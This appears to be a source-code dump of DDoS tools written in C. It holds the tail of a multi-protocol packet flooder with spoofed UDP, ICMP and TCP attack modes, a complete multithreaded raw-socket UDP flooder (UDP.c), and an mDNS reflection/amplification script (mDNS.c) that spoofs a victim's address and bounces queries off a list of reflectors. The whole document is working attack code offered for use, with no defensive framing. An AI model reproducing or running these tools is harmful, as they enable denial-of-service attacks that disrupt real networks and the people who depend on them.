320 |     memset(&packet, 0, sizeof packet);
321 |     inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
322 |     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
323 |     packet.udp.uh_sport         = CHOOSE_SRC_PORT();
324 |     packet.udp.uh_dport         = CHOOSE_DST_PORT();
325 |     packet.udp.uh_ulen          = htons(sizeof packet.udp);
326 |     packet.udp.uh_sum           = 0; 
327 |     SEND_PACKET();
328 | }
329 | static void
330 | send_icmp(u_char gargabe) 
331 | {
332 |     struct packet {
333 |         struct ip ip;
334 |         struct icmp icmp;
335 |     } packet;
336 |     memset(&packet, 0, sizeof packet);
337 |     inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
338 |     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
339 |     packet.icmp.icmp_type       = ICMP_ECHO;
340 |     packet.icmp.icmp_code       = 0;
341 |     packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
342 |     SEND_PACKET();
343 | } 
344 | static void
345 | usage(const char *argv0)
346 | {
347 |     printf("%s \n", banner);
348 |         printf("    -U UDP   attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
349 |         printf("    -I ICMP  attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
350 |         printf("    -N Bogus attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
351 |         printf("    -T TCP   attack     \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN, 4:URG\e[1;37m]\e[0m\n");
352 |         printf("    -h destination host/ip                  \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
353 |         printf("    -d destination class                        \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
354 |         printf("    -s source class/ip                          \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
355 |         printf("    -p destination port range [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
356 |         printf("    -q source port range      [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
357 |         printf("    -l pps limiter                            \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n");
358 |         printf("    -t timeout                              \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
359 |     printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -U -I -h -p -t]\n", argv0);
360 |     exit(-1);
361 | }


--------------------------------------------------------------------------------
/UDP.c:
--------------------------------------------------------------------------------
  1 | #include <time.h>
  2 | #include <arpa/inet.h>
  3 | #include <ifaddrs.h>
  4 | #include <netdb.h>
  5 | #include <pthread.h>
  6 | #include <unistd.h>
  7 | #include <stdio.h>
  8 | #include <stdlib.h>
  9 | #include <string.h>
 10 | #include <sys/socket.h>
 11 | #include <netinet/ip.h>
 12 | #include <netinet/udp.h>
 13 |  
 14 | #define MAX_PACKET_SIZE 4096
 15 | #define PHI 0x9e3779b9
 16 |  
 17 | static uint32_t Q[4096], c = 362436;
 18 | 
 19 | struct thread_data{
 20 |         int pks;
 21 |         int throttle;
 22 | 	int thread_id;
 23 | 	unsigned int floodport;
 24 | 	struct sockaddr_in sin;
 25 | };
 26 |  
 27 | void init_rand(uint32_t x)
 28 | {
 29 |         int i;
 30 |  
 31 |         Q[0] = x;
 32 |         Q[1] = x + PHI;
 33 |         Q[2] = x + PHI + PHI;
 34 |  
 35 |         for (i = 3; i < 4096; i++)
 36 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 37 | }
 38 |  
 39 | uint32_t rand_cmwc(void)
 40 | {
 41 |         uint64_t t, a = 18782LL;
 42 |         static uint32_t i = 4095;
 43 |         uint32_t x, r = 0xfffffffe;
 44 |         i = (i + 1) & 4095;
 45 |         t = a * Q[i] + c;
 46 |         c = (t >> 32);
 47 |         x = t + c;
 48 |         if (x < c) {
 49 |                 x++;
 50 |                 c++;
 51 |         }
 52 |         return (Q[i] = r - x);
 53 | }
 54 | 
 55 | char *myStrCat (char *s, char *a) {
 56 |     while (*s != '\0') s++;
 57 |     while (*a != '\0') *s++ = *a++;
 58 |     *s = '\0';
 59 |     return s;
 60 | }
 61 | 
 62 | char *replStr (char *str, size_t count) {
 63 |     if (count == 0) return NULL;
 64 |     char *ret = malloc (strlen (str) * count + count);
 65 |     if (ret == NULL) return NULL;
 66 |     *ret = '\0';
 67 |     char *tmp = myStrCat (ret, str);
 68 |     while (--count > 0) {
 69 |         tmp = myStrCat (tmp, str);
 70 |     }
 71 |     return ret;
 72 | }
 73 | 
 74 | 
 75 | /* function for header checksums */
 76 | unsigned short csum (unsigned short *buf, int nwords)
 77 | {
 78 |   unsigned long sum;
 79 |   for (sum = 0; nwords > 0; nwords--)
 80 |   sum += *buf++;
 81 |   sum = (sum >> 16) + (sum & 0xffff);
 82 |   sum += (sum >> 16);
 83 |   return (unsigned short)(~sum);
 84 | }
 85 | void setup_ip_header(struct iphdr *iph)
 86 | {
 87 |   struct ifaddrs *ifaddr, *ifa;
 88 |            int family, s;
 89 |            char host[NI_MAXHOST];
 90 | 
 91 |            if (getifaddrs(&ifaddr) == -1) {
 92 |                perror("getifaddrs");
 93 |                exit(EXIT_FAILURE);
 94 |            }
 95 | 
 96 |            /* Walk through linked list, maintaining head pointer so we
 97 |               can free list later */
 98 | 
 99 |            for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
100 |                if (ifa->ifa_addr == NULL)
101 |                    continue;
102 | 
103 |                family = ifa->ifa_addr->sa_family;
104 | 
105 |                if (family == AF_INET) {
106 |                    s = getnameinfo(ifa->ifa_addr,sizeof(struct sockaddr_in),
107 |                            host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
108 |                    if (s != 0) {
109 |                        printf("getnameinfo() failed: %s\n", gai_strerror(s));
110 |                        exit(EXIT_FAILURE);
111 |                    }
112 |                    if(strcmp(host, "127.0.0.1") != 0){
113 |                        break;
114 |                    }
115 |                }
116 |            }
117 |            freeifaddrs(ifaddr);
118 |   iph->ihl = 5;
119 |   iph->version = 4;
120 |   iph->tos = 0;
121 |   iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
122 |   iph->id = htonl(54321);
123 |   iph->frag_off = 0;
124 |   iph->ttl = MAXTTL;
125 |   iph->protocol = IPPROTO_UDP;
126 |   iph->check = 0;
127 | 
128 |   // Initial IP, changed later in infinite loop
129 |   iph->saddr = inet_addr(host);
130 | }
131 | 
132 | void setup_udp_header(struct udphdr *udph)
133 | {
134 |   udph->source = htons(5678);
135 |   udph->check = 0;
136 | }
137 | 
138 | void *flood(void *par1)
139 | {
140 |   struct thread_data *td = (struct thread_data *)par1;
141 |   fprintf(stdout, "Thread %d started\n", td->thread_id);
142 |   char datagram[MAX_PACKET_SIZE];
143 |   struct iphdr *iph = (struct iphdr *)datagram;
144 |   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
145 |   struct sockaddr_in sin = td->sin;
146 |   char new_ip[sizeof "255.255.255.255"];
147 | 
148 |   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
149 |   if(s < 0){
150 |     fprintf(stderr, "Could not open raw socket.\n");
151 |     exit(-1);
152 |   }
153 | 
154 |   unsigned int floodport = td->floodport;
155 | 
156 |   // Clear the data
157 |   memset(datagram, 0, MAX_PACKET_SIZE);
158 | 
159 |   // Set appropriate fields in headers
160 |   setup_ip_header(iph);
161 |   setup_udp_header(udph);
162 | 
163 |   char *data = (char *)udph + sizeof(struct udphdr);
164 |   data = replStr("\xFF", td->pks);
165 |   udph->len=htons(td->pks);
166 | 
167 |   iph->tot_len += td->pks;
168 | 
169 |   udph->dest = htons(floodport);
170 | 
171 |   iph->daddr = sin.sin_addr.s_addr;
172 |   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
173 | 
174 |   int tmp = 1;
175 |   const int *val = &tmp;
176 |   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
177 |     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
178 |     exit(-1);
179 |   }
180 | 
181 |   int throttle = td->throttle;
182 | 
183 |   uint32_t random_num;
184 |   uint32_t ul_dst;
185 |   init_rand(time(NULL));
186 |   if(throttle == 0){
187 |     while(1){
188 |       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
189 |       random_num = rand_cmwc();
190 |       udph->source = htons(random_num & 0xFFFF);
191 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
192 |     }
193 |   } else {
194 |     while(1){
195 |       throttle = td->throttle;
196 |       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
197 |       random_num = rand_cmwc();
198 |       udph->source = htons(random_num & 0xFFFF);
199 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
200 | 
201 |      while(--throttle);
202 |     }
203 |   }
204 | }
205 | int main(int argc, char *argv[ ])
206 | {
207 |   if(argc < 6){
208 |     fprintf(stderr, "Invalid parameters!\n");
209 |     fprintf(stdout, "Usage: %s <target IP> <target Port> <throttle> <packet size> <number threads to use> <time>\n", argv[0]);
210 |     exit(-1);
211 |   }
212 | 
213 |   fprintf(stdout, "Setting up Sockets...\n");
214 | 
215 |   int num_threads = atoi(argv[5]);
216 |   int packet_size = atoi(argv[4]);
217 |   unsigned int floodport = atoi(argv[2]);
218 |   pthread_t thread[num_threads];
219 |   struct sockaddr_in sin;
220 | 
221 |   sin.sin_family = AF_INET;
222 |   sin.sin_port = htons(floodport);
223 |   sin.sin_addr.s_addr = inet_addr(argv[1]);
224 | 
225 |   struct thread_data td[num_threads];
226 | 
227 |   int i;
228 |   for(i = 0;i<num_threads;i++){
229 |     td[i].thread_id = i;
230 |     td[i].pks = packet_size;
231 |     td[i].sin = sin;
232 |     td[i].floodport = floodport;
233 |     td[i].throttle = atoi(argv[3]);
234 |     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
235 |   }
236 |   fprintf(stdout, "Starting Flood...\n");
237 |   if(argc > 6)
238 |   {
239 |     sleep(atoi(argv[6]));
240 |   } else {
241 |     while(1){
242 |       sleep(1);
243 |     }
244 |   }
245 | 
246 |   return 0;
247 | }


--------------------------------------------------------------------------------
/mDNS.c:
--------------------------------------------------------------------------------
  1 | /* new and improved mDNS ddos script. credits go to Shroomy. */
  2 | 
  3 | #include <time.h>
  4 | #include <pthread.h>
  5 | #include <unistd.h>
  6 | #include <stdio.h>
  7 | #include <stdlib.h>
  8 | #include <string.h>
  9 | #include <sys/socket.h>
 10 | #include <netinet/ip.h>
 11 | #include <netinet/udp.h>
 12 | #include <arpa/inet.h>
 13 | #define MAX_PACKET_SIZE 8192
 14 | #define PHI 0x9e3779b9
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct list
 17 | {
 18 | 	struct sockaddr_in data;
 19 | 	struct list *next;
 20 | 	struct list *prev;
 21 | };
 22 | struct list *head;
 23 | volatile int tehport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 28 | void init_rand(uint32_t x)
 29 | {
 30 | 	int i;
 31 | 	Q[0] = x;
 32 | 	Q[1] = x + PHI;
 33 | 	Q[2] = x + PHI + PHI;
 34 | 	for (i = 3; i < 4096; i++)
 35 | 	{
 36 | 	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 37 | 	}
 38 | }
 39 | uint32_t rand_cmwc(void)
 40 | {
 41 | 	uint64_t t, a = 18782LL;
 42 | 	static uint32_t i = 4095;
 43 | 	uint32_t x, r = 0xfffffffe;
 44 | 	i = (i + 1) & 4095;
 45 | 	t = a * Q[i] + c;
 46 | 	c = (t >> 32);
 47 | 	x = t + c;
 48 | 	if (x < c) {
 49 | 	x++;
 50 | 	c++;
 51 | 	}
 52 | 	return (Q[i] = r - x);
 53 | }
 54 | unsigned short csum (unsigned short *buf, int nwords)
 55 | {
 56 | 	unsigned long sum = 0;
 57 | 	for (sum = 0; nwords > 0; nwords--)
 58 | 	sum += *buf++;
 59 | 	sum = (sum >> 16) + (sum & 0xffff);
 60 | 	sum += (sum >> 16);
 61 | 	return (unsigned short)(~sum);
 62 | }
 63 | void setup_ip_header(struct iphdr *iph)
 64 | {
 65 | 	iph->ihl = 5;
 66 | 	iph->version = 4;
 67 | 	iph->tos = 0;
 68 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 46;
 69 | 	iph->id = htonl(54321);
 70 | 	iph->frag_off = 0;
 71 | 	iph->ttl = MAXTTL;
 72 | 	iph->protocol = IPPROTO_UDP;
 73 | 	iph->check = 0;
 74 | 	iph->saddr = inet_addr("192.168.3.100");
 75 | }
 76 | void setup_udp_header(struct udphdr *udph)
 77 | {
 78 | 	udph->source = htons(5678);
 79 | 	udph->dest = htons(5353);
 80 | 	udph->check = 0;
 81 |       	memcpy((void *)udph + sizeof(struct udphdr), "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01", 46);
 82 |         udph->len=htons(sizeof(struct udphdr) + 46);
 83 | }
 84 | void *flood(void *par1)
 85 | {
 86 | 	struct thread_data *td = (struct thread_data *)par1;
 87 | 	char datagram[MAX_PACKET_SIZE];
 88 | 	struct iphdr *iph = (struct iphdr *)datagram;
 89 | 	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 90 | 	struct sockaddr_in sin = td->sin;
 91 | 	struct  list *list_node = td->list_node;
 92 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 93 | 	if(s < 0){
 94 | 	fprintf(stderr, "Could not open raw socket.\n");
 95 | 	exit(-1);
 96 | 	}
 97 | 	init_rand(time(NULL));
 98 | 	memset(datagram, 0, MAX_PACKET_SIZE);
 99 | 	setup_ip_header(iph);
100 | 	setup_udp_header(udph);
101 | 	udph->source = htons(rand() % 65535 - 1026);
102 | 	iph->saddr = sin.sin_addr.s_addr;
103 | 	iph->daddr = list_node->data.sin_addr.s_addr;
104 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
105 | 	int tmp = 1;
106 | 	const int *val = &tmp;
107 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
108 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
109 | 	exit(-1);
110 | 	}
111 | 	init_rand(time(NULL));
112 | 	register unsigned int i;
113 | 	i = 0;
114 | 	while(1){
115 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
116 | 		list_node = list_node->next;
117 | 		iph->daddr = list_node->data.sin_addr.s_addr;
118 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
119 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
120 | 		
121 | 		pps++;
122 | 		if(i >= limiter)
123 | 		{
124 | 			i = 0;
125 | 			usleep(sleeptime);
126 | 		}
127 | 		i++;
128 | 	}
129 | }
130 | int main(int argc, char *argv[ ])
131 | {
132 | 	if(argc < 6){
133 | 	fprintf(stderr, "Invalid parameters!\n");
134 | 	fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
135 | 		exit(-1);
136 | 	}
137 | 	srand(time(NULL));
138 | 	int i = 0;
139 | 	head = NULL;
140 | 	fprintf(stdout, "Setting up sockets...\n");
141 | 	int max_len = 128;
142 | 	char *buffer = (char *) malloc(max_len);
143 | 	buffer = memset(buffer, 0x00, max_len);
144 | 	int num_threads = atoi(argv[4]);
145 | 	int maxpps = atoi(argv[5]);
146 | 	limiter = 0;
147 | 	pps = 0;
148 | 	int multiplier = 20;
149 | 	FILE *list_fd = fopen(argv[3],  "r");
150 | 	while (fgets(buffer, max_len, list_fd) != NULL) {
151 | 		if ((buffer[strlen(buffer) - 1] == '\n') ||
152 | 				(buffer[strlen(buffer) - 1] == '\r')) {
153 | 			buffer[strlen(buffer) - 1] = 0x00;
154 | 			if(head == NULL)
155 | 			{
156 | 				head = (struct list *)malloc(sizeof(struct list));
157 | 				bzero(&head->data, sizeof(head->data));
158 | 				head->data.sin_addr.s_addr=inet_addr(buffer);
159 | 				head->next = head;
160 | 				head->prev = head;
161 | 			} else {
162 | 				struct list *new_node = (struct list *)malloc(sizeof(struct list));
163 | 				memset(new_node, 0x00, sizeof(struct list));
164 | 				new_node->data.sin_addr.s_addr=inet_addr(buffer);
165 | 				new_node->prev = head;
166 | 				new_node->next = head->next;
167 | 				head->next = new_node;
168 | 			}
169 | 			i++;
170 | 		} else {
171 | 			continue;
172 | 		}
173 | 	}
174 | 	struct list *current = head->next;
175 | 	pthread_t thread[num_threads];
176 | 	struct sockaddr_in sin;
177 | 	sin.sin_family = AF_INET;
178 | 	sin.sin_addr.s_addr = inet_addr(argv[1]);
179 | 	struct thread_data td[num_threads];
180 | 	for(i = 0;i<num_threads;i++){
181 | 		td[i].thread_id = i;
182 | 		td[i].sin= sin;
183 | 		td[i].list_node = current;
184 | 		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
185 | 	}
186 | 	fprintf(stdout, "Starting flood...\n");
187 | 	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
188 | 	{
189 | 		usleep((1000/multiplier)*1000);
190 | 		if((pps*multiplier) > maxpps)
191 | 		{
192 | 			if(1 > limiter)
193 | 			{
194 | 				sleeptime+=100;
195 | 			} else {
196 | 				limiter--;
197 | 			}
198 | 		} else {
199 | 			limiter++;
200 | 			if(sleeptime > 25)
201 | 			{
202 | 				sleeptime-=25;
203 | 			} else {
204 | 				sleeptime = 0;
205 | 			}
206 | 		}
207 | 		pps = 0;
208 | 	}
209 | 	return 0;
210 | }


--------------------------------------------------------------------------------